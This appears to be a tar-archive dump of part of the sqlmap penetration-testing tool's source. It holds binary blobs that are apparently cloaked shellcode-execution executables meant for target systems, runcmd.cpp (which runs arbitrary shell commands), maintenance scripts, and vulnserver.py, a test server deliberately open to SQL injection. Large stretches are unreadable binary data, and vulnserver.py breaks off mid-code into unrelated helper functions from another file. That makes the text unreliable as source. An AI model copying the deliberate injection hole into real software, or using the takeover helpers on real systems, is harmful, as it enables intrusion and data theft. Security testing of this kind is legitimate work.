۴_P:BQ'k#١KOmΈKwgl(k^HbtQG\F+8`7Bdxj8Wӕۭ&ʭK6 !6L?b HzV6ca-SEB?i; WGxCk .0ѹ0%Av.&=K(KʤO(\ 8ޖ۬wWJK_5rR%[ȅna7?JA2DRtso.EQ/q ZvPexd]71G_|z .\Ao®A׎AO3O qOs(9!V®Z`s,Ȇ{H^ #O<`iLDP\CV)oAw-1ܹ8'\88la( idm/2/^.i}=?Eu3#O_@V,aI̦ 6][iw#@Hl}5~E6i{\۟n.u>o Fr^VėCrɩcc{ 21z*fy9^VRVUk+5A]Av+z"e])"-٠=SлJjQ8gB('B,bd냕QbFPz$߀?Lc4S3Q?E97R=e_|cbT!kvK?y8a ~h!2vidHzaWtCtp/%H*M7tcihh>f=vTR]H^NV IVwc/lQ3T-g@RZyrh}(`&XOk4 +jI<V]j@ dm<:lZ=3djX^IpH㩘xwN]W/Q5_R(g˜CFBI\GGjRVZXb5){%Q)eTVvN4 Iqd%iK7USVyDjIwI)NDKhZ'KCkK8T~(g8CE&@n|bvz*AuA@fylfod2 KBG1UG0CBF\Erw&_EKflI2WZ;עtj؄'֌[sjTp׃ qSW 5gPz4yZin{//⺁ęС%q FbP((>2 XGp_> !훂S^փ`uJ<+G/6ljab)1> 8ˋB,AUF;:BR`lt \ROa^ ҫm-p^]ȄՎq(&w:eîμPXIy Ql+KU:'YS9e M88)j 4wf#:z8 ȇ-k8VE 2l5L&L9N 뵜DTx@qE{߿Vy}ޏ="~ϯV{_2 ɅRVhO4X5bО/, LAսg3wc&"FR5P?|Pڊ1+ F%@bȮl+K_7^tl?f"fGX]Fyr)sYT V7xY(xEqInq#]o }Pv5>> ,Y&qP$N{wEnGYv+-Xbh^bkvykڨ׀;omT 5R1별Yͮ+lPv%{ kODعۼ["2v/gq~J6c ^ h?OVղ@:Zh9oky@}ҕs.~"$2z}O TH֔S>$dŜL\l&;՛>#b9/Q3R_W| Ee ;"պ?:cv?!0~&TSSI"c@w>o&8g|L Hz`v[4d#+ /!hv=)51IhcHX@ /!c%>%֪5jWwoJƴ{5-fY(1+8fbUN2G!ZLoH(TbT'荌vRsB@J`:)9r;%@7Ѐk:V{h;^f7c(5lb\ LJ_dE@@yqlf^P^JP80#Oh-7CaNiݙɧ&8^>R`bAv2ùԠ XPy۾;1%s~JNRg# Ş!sC9W2;ݔIQX|F9FJ-W{S[hy$(1, EBH@*CnuT">j[R s}[°-$ֻSnm{$ߌZFB+07D ؏Mo5$ߩ1qj^! =Fwaں`g׏3={#ރXeTw-v̠Z6/U/@К<|hκ׭l2V[t"Ȼ/d0:Q׹<BʧyK%MRWFHd{`7^'b(0CC@@qhf3BqCE.FZw ij4)F֫K7UV8G@I\NjfKxBcDL?}}3?_}qO4)ra9<˦=H=\4d LbH"EHzZ^B]NChzzd!Qhl˸0'EPTujF,wxZ~#-JLB>}t _t՚ʤSYXh6 *pKuaZWqOVŘ(^>q KeA%t^TqGh}O%p]ӄۏ^JEhA&ML/g@ax3̮/h[F⮪+ \:w?ňIXsqlmap-1.9.6/extra/runcmd/src/000077500000000000000000000000001502261744200162315ustar00rootroot00000000000000sqlmap-1.9.6/extra/runcmd/src/README.txt000066400000000000000000000004171502261744200177310ustar00rootroot00000000000000Compile only the Release version because the Runtime library option (Project Properties -> Configuration Properties -> C/C++ -> Code Generation) is set to "Multi-threaded (/MT)", which statically links everything into executable and doesn't compile Debug version at all. sqlmap-1.9.6/extra/runcmd/src/runcmd.sln000066400000000000000000000015631502261744200202440ustar00rootroot00000000000000 Microsoft Visual Studio Solution File, Format Version 9.00 # Visual Studio 2005 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Win32 = Debug|Win32 Release|Win32 = Release|Win32 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32 {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32 {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32 {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection EndGlobal sqlmap-1.9.6/extra/runcmd/src/runcmd/000077500000000000000000000000001502261744200175215ustar00rootroot00000000000000sqlmap-1.9.6/extra/runcmd/src/runcmd/runcmd.cpp000066400000000000000000000025041502261744200215160ustar00rootroot00000000000000/* runcmd - a program for running command prompt commands Copyright (C) 2010 Miroslav Stampar email: miroslav.stampar@gmail.com This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include #include #include #include "stdafx.h" #include using namespace std; int main(int argc, char* argv[]) { FILE *fp; string cmd; for( int count = 1; count < argc; count++ ) cmd += " " + string(argv[count]); fp = _popen(cmd.c_str(), "r"); if (fp != NULL) { char buffer[BUFSIZ]; while (fgets(buffer, sizeof buffer, fp) != NULL) fputs(buffer, stdout); } return 0; } sqlmap-1.9.6/extra/runcmd/src/runcmd/runcmd.vcproj000066400000000000000000000106341502261744200222420ustar00rootroot00000000000000 sqlmap-1.9.6/extra/runcmd/src/runcmd/stdafx.cpp000066400000000000000000000004451502261744200215210ustar00rootroot00000000000000// stdafx.cpp : source file that includes just the standard includes // runcmd.pch will be the pre-compiled header // stdafx.obj will contain the pre-compiled type information #include "stdafx.h" // TODO: reference any additional headers you need in STDAFX.H // and not in this file sqlmap-1.9.6/extra/runcmd/src/runcmd/stdafx.h000066400000000000000000000010041502261744200211560ustar00rootroot00000000000000// stdafx.h : include file for standard system include files, // or project specific include files that are used frequently, but // are changed infrequently // #pragma once #ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later. #define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows. #endif #include #include // TODO: reference additional headers your program requires here sqlmap-1.9.6/extra/shellcodeexec/000077500000000000000000000000001502261744200167615ustar00rootroot00000000000000sqlmap-1.9.6/extra/shellcodeexec/README.txt000066400000000000000000000004321502261744200204560ustar00rootroot00000000000000Binary files in this folder are data files used by sqlmap on the target system, but not executed on the system running sqlmap. They are licensed under the terms of the GNU Lesser General Public License and their source code is available on https://github.com/inquisb/shellcodeexec. sqlmap-1.9.6/extra/shellcodeexec/linux/000077500000000000000000000000001502261744200201205ustar00rootroot00000000000000sqlmap-1.9.6/extra/shellcodeexec/linux/shellcodeexec.x32_000066400000000000000000000032331502261744200234250ustar00rootroot00000000000000=$.>0q4 /%RS#bTuW@[؅-X0[5Fg'T-lvBBuS #'}sXk4Zʈ+.c4@P\HyYey&Xl|/(mMOܓ2*-6Yv5sY7,ñ \RR 0×E^D35b5Jt7rq4 S}x)H1o^T;~pZЈLɨA`.fyDco 8-tUKKCY|izD5'ߐ OE+l GykT.h|7¿rr !̆čس^\…)(٢0p%l` ˾r=Z6|ZCٵY$)v{b]tI 36 ~&w9;bz{?%n^Tt+^c-v*O>{#:ʎJ0m;Y?T$ƕ.:;,&cSSRuK3D/QrH!k@*Դ^ Skqr6 =8B? `*'0Ն/(_cPOx,olpcTʈ7ɞ_4Am.َW26$APCyxS`dcS6 eJ>>pz[tI{<:,8ꊏSGh#ARNy4$˫bپ_.1P04BuŶ!m`sqlmap-1.9.6/extra/shellcodeexec/linux/shellcodeexec.x64_000066400000000000000000000036071502261744200234370ustar00rootroot00000000000000=҂+,>pKPiN$]7+`3q5gVKg1~9޳iw9߷*,SSj68,># BE\P.ߝm*ʬ.3喤8w"D ]h <%]B~Y7 Fg~OO2š& |zbpip{y~My.Zt~hHÂ?9>?ʥ9,++`yB@?`T|+P YBI&ɣ[Di10g:^V/zy10'yάt>R`^J|Vv8lO֛ }jTQ{0`j@yߛ6lnv7Zq1hzm0Qέ4{ 2u(S~Iv1.c~+\ƌ>9kz{z,j}_"KAt]q9~xPM>mxп]Yλto3쑊uir0ˁ sv {c~+P uO슓IQNמX%jKu@/J~G&ս{:eBCVO9ƆQ+&;[M߮˔": js ׏YN+cxtHX;MdSw)fDj4Wm>_J :AzeLq"i3wF# Fjp9^<%}"KMk~ZVP_޻\. $K %MAIVNoE.^riXClH$З/Z&]S1N:M sz_zW/cXQ}OAMF} X]ҙ|kО[p_A`@-};:w2P*L۪}ޢd;ɆeZLl.PR Uf< 9$Ձ:^0JWP䆐Tj^uxR4|Pʽ^AWmI\|j[~&ڏ%y^q Of/3Q=BפB:tߚw.αTNE' =ʅQ>7q| M3j%Ԗ'u.cq3X 胇n)G>n/jsqytb6'awŅspHGrR)m.Nu+ZƔ1C"pH?}mƆaMZaΡY 9ԫ?Ů~O|evJo\{,f DHeZPpj+j: jߚ'}"dNf'.d+AɥJ*8!H&-<&4d*K[&60|f1*Fc8 :{@D4]] "F\;q _]er܃Lc3(9V¾5.F ɁB|H=vUaBcj(Ҽ42YЛOjfz؁Eȫ<5-렯V_›Ɂb8`.='&_LߣVq|e\Osqlmap-1.9.6/extra/shellcodeexec/windows/000077500000000000000000000000001502261744200204535ustar00rootroot00000000000000sqlmap-1.9.6/extra/shellcodeexec/windows/shellcodeexec.x32.exe_000066400000000000000000000053061502261744200245430ustar00rootroot00000000000000=J:3s300,߼oj }-8M<^z鷩*V;qw4C(R@!s3aRi{'T40da+ [75"eVxۦЕDSď,\>:\%Z~UXu/ćdt 5. yMA:X5Ae}jTdG$V}J 7ܜ/X}YiJ}29Tkn V*h ih*ƶIuSZyL wR&gffS6oC).'Z[3Slh8C (<Ѽ e. 6m 'z 1ܟ{FZAz',`uη S+ #qtv%'sʷ1wP ݃yy\O͓rmVUU,KǷG0;lVkxYE'JE8#1uhVn'+'g ЫzQdi:Zch@@l |C0 , *ʃaPf x ym+";@Zf$Z1EJkXTEڈ$Ed#v2I&jmac&RyE2Z? jO5ByqK0OOOHIJH`:8K|7,?.f[*ȳf@n#@|WQhG_(S4v8EX171a0_k'&GJ\Gl.]"ҮsiB8/Ra=/3ԸW\oʒ6"5*CƻF" Bh$TM,W<$_UY)4L*nCcnsRd&{ qtlU. <Aq "B&Q|N `)>NJ὇9J= N\BiM̑`Q6e.@h2nP]EkzNS͓ۿa!,_GPR%!Of1[o@N_ڴvH,aK-Dy0C GA/|ub]vazhs=Ag{sib<*CW П)Xj 㐒bDHgq(g0Y)5,5A]Jm?Mg% |/yEGsaqXi6gkkp5ݴD5O#ѝc9tN7+Z஋=b#(֠S c~Ws|/*HBuglYd,mP(: ,r ԸV 2,fs-t‰gn^>F+GO򇝩M2lL0 ) ǏGqCZwe?Mݴw.KKMI5qEUj E{wd\HLlk?TwajxEYJ7R[`p_eGEb-iB1BLHKsisDfIqD@&ށڊZ_=LtNZFNؚpqr/Er\B>! siO= To0{2%}]Y|.CfDNS(bLR TQJeΉ!Nmwd+tCA;A|CBz"*frgn#+nj=H}RH R:Fy_6~_<3w4-]w!Or!NDw^E^MXO4ňum@ȓCn_XVnhzfAj1nk@w>s`t M#%9_wwLOo~3][GZ / r0&XV[`;m:cۆH]j{0z;wvn-?sFQakj@|DWh`#'>`[ʉ<֟tYi25}492Lx~O &g49(?Zέ=NY.h`%.@)ѱE-wزn=󴗉| +$FE;ڄj8\uVI1&ڐ ,xfAy]NՇ̭hV0MX5RMVd1+o]FD4qa?A9))obf4z|~ w!s GX0AH'X!?b w]{ D} ۴K2SFҿ~kZyKn، \jsqlmap-1.9.6/extra/shutils/000077500000000000000000000000001502261744200156455ustar00rootroot00000000000000sqlmap-1.9.6/extra/shutils/autocompletion.sh000077500000000000000000000004671502261744200212550ustar00rootroot00000000000000#/usr/bin/env bash # source ./extra/shutils/autocompletion.sh DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" WORDLIST=`python "$DIR/../../sqlmap.py" -hh | grep -Eo '\s\--?\w[^ =,]*' | grep -vF '..' | paste -sd "" -` complete -W "$WORDLIST" sqlmap complete -W "$WORDLIST" ./sqlmap.py sqlmap-1.9.6/extra/shutils/blanks.sh000077500000000000000000000003761502261744200174640ustar00rootroot00000000000000#!/bin/bash # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Removes trailing spaces from blank lines inside project files find . -type f -iname '*.py' -exec sed -i 's/^[ \t]*$//' {} \; sqlmap-1.9.6/extra/shutils/drei.sh000077500000000000000000000012231502261744200171250ustar00rootroot00000000000000#!/bin/bash # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Stress test against Python3 export SQLMAP_DREI=1 #for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done unset SQLMAP_DREI source `dirname "$0"`"/junk.sh" # for i in $(find . -iname "*.py" | grep -v __init__); do timeout 10 pylint --py3k $i; done 2>&1 | grep -v -E 'absolute_import|No config file' sqlmap-1.9.6/extra/shutils/duplicates.py000077500000000000000000000014341502261744200203610ustar00rootroot00000000000000#!/usr/bin/env python # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Removes duplicate entries in wordlist like files from __future__ import print_function import sys if __name__ == "__main__": if len(sys.argv) > 1: items = list() with open(sys.argv[1], 'r') as f: for item in f: item = item.strip() try: str.encode(item) if item in items: if item: print(item) else: items.append(item) except: pass with open(sys.argv[1], 'w+') as f: f.writelines("\n".join(items)) sqlmap-1.9.6/extra/shutils/junk.sh000077500000000000000000000003641502261744200171560ustar00rootroot00000000000000#!/bin/bash # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null find . -name "*.pyc" -exec rm -f {} \; &>/dev/null sqlmap-1.9.6/extra/shutils/newlines.py000066400000000000000000000016071502261744200200470ustar00rootroot00000000000000#! /usr/bin/env python from __future__ import print_function import os import sys def check(filepath): if filepath.endswith(".py"): content = open(filepath, "rb").read() pattern = "\n\n\n".encode("ascii") if pattern in content: index = content.find(pattern) print(filepath, repr(content[index - 30:index + 30])) if __name__ == "__main__": try: BASE_DIRECTORY = sys.argv[1] except IndexError: print("no directory specified, defaulting to current working directory") BASE_DIRECTORY = os.getcwd() print("looking for *.py scripts in subdirectories of '%s'" % BASE_DIRECTORY) for root, dirs, files in os.walk(BASE_DIRECTORY): if any(_ in root for _ in ("extra", "thirdparty")): continue for name in files: filepath = os.path.join(root, name) check(filepath) sqlmap-1.9.6/extra/shutils/postcommit-hook.sh000077500000000000000000000015531502261744200213440ustar00rootroot00000000000000#!/bin/bash : ' cat > .git/hooks/post-commit << EOF #!/bin/bash source ./extra/shutils/postcommit-hook.sh EOF chmod +x .git/hooks/post-commit ' SETTINGS="../../lib/core/settings.py" PYPI="../../extra/shutils/pypi.sh" declare -x SCRIPTPATH="${0}" FULLPATH=${SCRIPTPATH%/*}/$SETTINGS if [ -f $FULLPATH ] then LINE=$(grep -o ${FULLPATH} -e 'VERSION = "[0-9.]*"') declare -a LINE NEW_TAG=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); print '.'.join(_[:-1]) if len(_) == 4 and _[-1] == '0' else ''" "$LINE") if [ -n "$NEW_TAG" ] then #git commit -am "Automatic monthly tagging" echo "Creating new tag ${NEW_TAG}" git tag $NEW_TAG git push origin $NEW_TAG echo "Going to push PyPI package" /bin/bash ${SCRIPTPATH%/*}/$PYPI fi fi sqlmap-1.9.6/extra/shutils/precommit-hook.sh000077500000000000000000000025311502261744200211420ustar00rootroot00000000000000#!/bin/bash : ' cat > .git/hooks/pre-commit << EOF #!/bin/bash source ./extra/shutils/precommit-hook.sh EOF chmod +x .git/hooks/pre-commit ' PROJECT="../../" SETTINGS="../../lib/core/settings.py" DIGEST="../../data/txt/sha256sums.txt" declare -x SCRIPTPATH="${0}" PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS DIGEST_FULLPATH=${SCRIPTPATH%/*}/$DIGEST git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 if [ -f $SETTINGS_FULLPATH ] then LINE=$(grep -o ${SETTINGS_FULLPATH} -e '^VERSION = "[0-9.]*"') declare -a LINE INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") if [ -n "$INCREMENTED" ] then sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH echo "Updated ${INCREMENTED} in ${SETTINGS_FULLPATH}" else echo "Something went wrong in VERSION increment" exit 1 fi git add "$SETTINGS_FULLPATH" fi cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv '^\.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd - git add "$DIGEST_FULLPATH" sqlmap-1.9.6/extra/shutils/pycodestyle.sh000077500000000000000000000005131502261744200205470ustar00rootroot00000000000000#!/bin/bash # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pycodestyle --ignore=E501,E302,E305,E722,E402 '{}' \; sqlmap-1.9.6/extra/shutils/pydiatra.sh000077500000000000000000000004701502261744200200220ustar00rootroot00000000000000#!/bin/bash # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Runs py3diatra on all python files (prerequisite: pip install pydiatra) find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py3diatra '{}' \; | grep -v bare-except sqlmap-1.9.6/extra/shutils/pyflakes.sh000077500000000000000000000004771502261744200200320ustar00rootroot00000000000000#!/bin/bash # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes3 '{}' \; | grep -v "redefines '_'" sqlmap-1.9.6/extra/shutils/pypi.sh000077500000000000000000000134431502261744200171720ustar00rootroot00000000000000#!/bin/bash if [ ! -f ~/.pypirc ]; then echo "File ~/.pypirc is missing" exit 1 fi declare -x SCRIPTPATH="${0}" SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py" VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3) TYPE=pip TMP_DIR=/tmp/pypi mkdir $TMP_DIR cd $TMP_DIR cat > $TMP_DIR/setup.py << EOF #!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from setuptools import setup, find_packages setup( name='sqlmap', version='$VERSION', description='Automatic SQL injection and database takeover tool', long_description=open('README.rst').read(), long_description_content_type='text/x-rst', author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar', author_email='bernardo@sqlmap.org, miroslav@sqlmap.org', url='https://sqlmap.org', project_urls={ 'Documentation': 'https://github.com/sqlmapproject/sqlmap/wiki', 'Source': 'https://github.com/sqlmapproject/sqlmap/', 'Tracker': 'https://github.com/sqlmapproject/sqlmap/issues', }, download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip', license='GNU General Public License v2 (GPLv2)', packages=['sqlmap'], package_dir={'sqlmap':'sqlmap'}, include_package_data=True, zip_safe=False, # https://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ 'Development Status :: 5 - Production/Stable', 'License :: OSI Approved :: GNU General Public License v2 (GPLv2)', 'Natural Language :: English', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Environment :: Console', 'Topic :: Database', 'Topic :: Security', ], entry_points={ 'console_scripts': [ 'sqlmap = sqlmap.sqlmap:main', ], }, ) EOF wget "https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip" -O sqlmap.zip unzip sqlmap.zip rm sqlmap.zip mv "sqlmap-$VERSION" sqlmap cat > sqlmap/__init__.py << EOF #!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import sys sys.dont_write_bytecode = True sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) EOF cat > README.rst << "EOF" sqlmap ====== |Python 2.6|2.7|3.x| |License| |X| sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. Screenshots ----------- .. figure:: https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png :alt: Screenshot You can visit the `collection of screenshots `__ demonstrating some of features on the wiki. Installation ------------ You can use pip to install and/or upgrade the sqlmap to latest (monthly) tagged version with: :: pip install --upgrade sqlmap Alternatively, you can download the latest tarball by clicking `here `__ or latest zipball by clicking `here `__. If you prefer fetching daily updates, you can download sqlmap by cloning the `Git `__ repository: :: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap works out of the box with `Python `__ version **2.6**, **2.7** and **3.x** on any platform. Usage ----- To get a list of basic options and switches use: :: sqlmap -h To get a list of all options and switches use: :: sqlmap -hh You can find a sample run `here `__. To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the `user's manual `__. Links ----- - Homepage: https://sqlmap.org - Download: `.tar.gz `__ or `.zip `__ - Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom - Issue tracker: https://github.com/sqlmapproject/sqlmap/issues - User's manual: https://github.com/sqlmapproject/sqlmap/wiki - Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ - X: https://x.com/sqlmap - Demos: http://www.youtube.com/user/inquisb/videos - Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots .. |Python 2.6|2.7|3.x| image:: https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg :target: https://www.python.org/ .. |License| image:: https://img.shields.io/badge/license-GPLv2-red.svg :target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE .. |X| image:: https://img.shields.io/badge/x-@sqlmap-blue.svg :target: https://x.com/sqlmap .. pandoc --from=markdown --to=rst --output=README.rst sqlmap/README.md .. http://rst.ninjs.org/ EOF sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done python setup.py sdist bdist_wheel twine check dist/* twine upload --config-file=~/.pypirc dist/* rm -rf $TMP_DIR sqlmap-1.9.6/extra/shutils/recloak.sh000077500000000000000000000011661502261744200176300ustar00rootroot00000000000000#!/bin/bash # NOTE: this script is for dev usage after AV something something DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P) cd $DIR/../.. for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done cd $DIR/../cloak sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py cd $DIR/../.. for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done git clean -f > /dev/null sqlmap-1.9.6/extra/shutils/strip.sh000077500000000000000000000015451502261744200173520ustar00rootroot00000000000000#!/bin/bash # References: http://www.thegeekstuff.com/2012/09/strip-command-examples/ # http://www.muppetlabs.com/~breadbox/software/elfkickers.html # https://ptspts.blogspot.hr/2013/12/how-to-make-smaller-c-and-c-binaries.html # https://github.com/BR903/ELFkickers/tree/master/sstrip # https://www.ubuntuupdates.org/package/core/cosmic/universe/updates/postgresql-server-dev-10 # For example: # python ../../../../../extra/cloak/cloak.py -d -i lib_postgresqludf_sys.so_ # ../../../../../extra/shutils/strip.sh lib_postgresqludf_sys.so # python ../../../../../extra/cloak/cloak.py -i lib_postgresqludf_sys.so # rm lib_postgresqludf_sys.so strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag $* sstrip $* sqlmap-1.9.6/extra/vulnserver/000077500000000000000000000000001502261744200163655ustar00rootroot00000000000000sqlmap-1.9.6/extra/vulnserver/__init__.py000066400000000000000000000002221502261744200204720ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass sqlmap-1.9.6/extra/vulnserver/vulnserver.py000066400000000000000000000216461502261744200211630ustar00rootroot00000000000000#!/usr/bin/env python """ vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import base64 import json import re import sqlite3 import sys import threading import traceback PY3 = sys.version_info >= (3, 0) UNICODE_ENCODING = "utf-8" DEBUG = False if PY3: from http.client import INTERNAL_SERVER_ERROR from http.client import NOT_FOUND from http.client import OK from http.server import BaseHTTPRequestHandler from http.server import HTTPServer from socketserver import ThreadingMixIn from urllib.parse import parse_qs from urllib.parse import unquote_plus else: from BaseHTTPServer import BaseHTTPRequestHandler from BaseHTTPServer import HTTPServer from httplib import INTERNAL_SERVER_ERROR from httplib import NOT_FOUND from httplib import OK from SocketServer import ThreadingMixIn from urlparse import parse_qs from urllib import unquote_plus SCHEMA = """ CREATE TABLE users ( id INTEGER, name TEXT, surname TEXT, PRIMARY KEY (id) ); INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset'); INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny'); INSERT INTO users (id, name, surname) VALUES (3, 'wu', '179ad45c6ce2cb97cf1029e212046e81'); INSERT INTO users (id, name, surname) VALUES (4, 'sqlmap/1.0-dev (https://sqlmap.org)', 'user agent header'); INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull'); """ LISTEN_ADDRESS = "localhost" LISTEN_PORT = 8440 _conn = None _cursor = None _lock = None _server = None _alive = False def init(quiet=False): global _conn global _cursor global _lock _conn = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False) _cursor = _conn.cursor() _lock = threading.Lock() _cursor.executescript(SCHEMA) if quiet: global print def _(*args, **kwargs): pass print = _ class ThreadingServer(ThreadingMixIn, HTTPServer): def finish_request(self, *args, **kwargs): try: HTTPServer.finish_request(self, *args, **kwargs) except Exception: if DEBUG: traceback.print_exc() class ReqHandler(BaseHTTPRequestHandler): def do_REQUEST(self): path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") params = {} if query: params.update(parse_qs(query)) if "||%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page) retVal = re.sub(r"%s{2,}" % split, split, retVal) retVal = htmlUnescape(retVal.strip().strip(split)) return retVal def getPageWordSet(page): """ Returns word set used in page content >>> sorted(getPageWordSet(u'foobartest')) == [u'foobar', u'test'] True """ retVal = set() # only if the page's charset has been successfully identified if isinstance(page, six.string_types): retVal = set(_.group(0) for _ in re.finditer(r"\w+", getFilteredPageContent(page))) return retVal def showStaticWords(firstPage, secondPage, minLength=3): """ Prints words appearing in two different response pages >>> showStaticWords("this is a test", "this is another test") ['this'] """ infoMsg = "finding static words in longest matching part of dynamic page content" logger.info(infoMsg) firstPage = getFilteredPageContent(firstPage) secondPage = getFilteredPageContent(secondPage) infoMsg = "static words: " if firstPage and secondPage: match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage)) commonText = firstPage[match[0]:match[0] + match[2]] commonWords = getPageWordSet(commonText) else: commonWords = None if commonWords: commonWords = [_ for _ in commonWords if len(_) >= minLength] commonWords.sort(key=functools.cmp_to_key(lambda a, b: cmp(a.lower(), b.lower()))) for word in commonWords: infoMsg += "'%s', " % word infoMsg = infoMsg.rstrip(", ") else: infoMsg += "None" logger.info(infoMsg) return commonWords def isWindowsDriveLetterPath(filepath): """ Returns True if given filepath starts with a Windows drive letter >>> isWindowsDriveLetterPath('C:\\boot.ini') True >>> isWindowsDriveLetterPath('/var/log/apache.log') False """ return re.search(r"\A[\w]\:", filepath) is not None def posixToNtSlashes(filepath): """ Replaces all occurrences of Posix slashes in provided filepath with NT backslashes >>> posixToNtSlashes('C:/Windows') 